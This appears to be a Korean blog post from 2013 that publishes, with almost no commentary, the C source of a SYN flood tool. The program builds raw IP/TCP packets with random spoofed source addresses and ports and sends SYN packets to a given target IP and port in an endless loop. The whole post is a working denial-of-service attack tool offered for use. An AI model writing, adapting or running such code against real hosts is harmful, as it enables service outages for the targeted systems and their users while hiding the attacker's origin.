카테고리 없음

synflooding source

컴공 2013. 6. 16. 01:08
반응형
 * Copyright (c) 2011 Jae-young, Park <onurmark1@gmail.com>
 *
 * License: http://www.onurmark.co.kr/?page_id=48
 *
 * Please DON'T REMOVE THIS COMMENTS for any reuse or distribution.
 *
 */
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
 
#define PCKT_LEN 8192
 
// Simple checksum function if ip checksum, pseudo_sum = 0;
unsigned short csum(unsigned short *buf, int len, unsigned long pseudo_sum)
{
    register unsigned long sum = pseudo_sum;
 
    while (len--)
        sum += *buf++;
 
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
 
    return (unsigned short)(~sum);
}
 
int main(int argc, char *argv[])
{
    char buffer[PCKT_LEN];
 
    struct iphdr *ipheader = (struct iphdr *)buffer;
    struct tcphdr *tcpheader = (struct tcphdr *)(buffer + sizeof(struct iphdr));
 
    int sd;
    struct sockaddr_in din;
    int one = 1;
    const int *val = &one;
 
    memset(buffer, 0x0, PCKT_LEN);
 
    if (argc != 3) {
        printf("Usage: %s <target hostname/IP> <port>\n", argv[0]);
        exit(-1);
    }
 
    sd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
    if (sd < 0) {
        perror("socket() error");
        exit(-1);
    }
 
    // Address family
    din.sin_family      = AF_INET;
    din.sin_addr.s_addr = inet_addr(argv[1]);
    din.sin_port        = htons(atoi(argv[2]));
 
    // IP structure
    ipheader->version    = 4;
    ipheader->ihl        = sizeof(struct iphdr) >> 2;
    ipheader->tot_len    = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));
    ipheader->ttl        = 128;
    ipheader->protocol   = IPPROTO_TCP;
    ipheader->daddr      = inet_addr(argv[1]);
 
    // TCP structure
    tcpheader->dest      = htons(atoi(argv[2]));
    tcpheader->seq       = htonl(0);
    tcpheader->syn       = 1;
    tcpheader->doff      = sizeof(struct tcphdr) >> 2;
    tcpheader->window    = htons(8192);
 
    // Inform the kernel do not fill up the headers' structure, we fabricated our own
    if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) {
        perror("setsockopt() error");
        exit(-1);
    }
 
    srandom(time(NULL));
 
    printf("Target IP: %s port: %u.\n", argv[1], atoi(argv[2]));
    while(1) {
        // IP structure
        ipheader->saddr      = random();
        ipheader->check      = 0;
 
        // TCP structure
        tcpheader->check = 0;
        tcpheader->source    = htons(1024 + (random() % (65535 - 1024)));
        tcpheader->seq       = random();
 
        // IP checksum calculation
        ipheader->check = csum((unsigned short *)buffer, (sizeof(struct iphdr) + sizeof(struct tcphdr)), 0);
 
        // Pseudo header checksum = saddr + daddr + 1536[htons(6)] + tcp length
        unsigned long sum =
            (ipheader->saddr >> 16) + (ipheader->saddr & 0xffff) +
            (ipheader->daddr >> 16) + (ipheader->daddr & 0xffff) +
            1536 +
            htons(sizeof(struct tcphdr));
        // TCP checksum calculation
        tcpheader->check = csum((unsigned short *)tcpheader, sizeof(struct tcphdr), sum);
 
        if (sendto(sd, buffer, sizeof(struct iphdr) + sizeof(struct tcphdr), 0, (struct sockaddr *)&din, sizeof(din)) < 0) {
            perror("sendto() error");
            exit(-1);
        }
    }
    close(sd);
 
    return 0;
}
반응형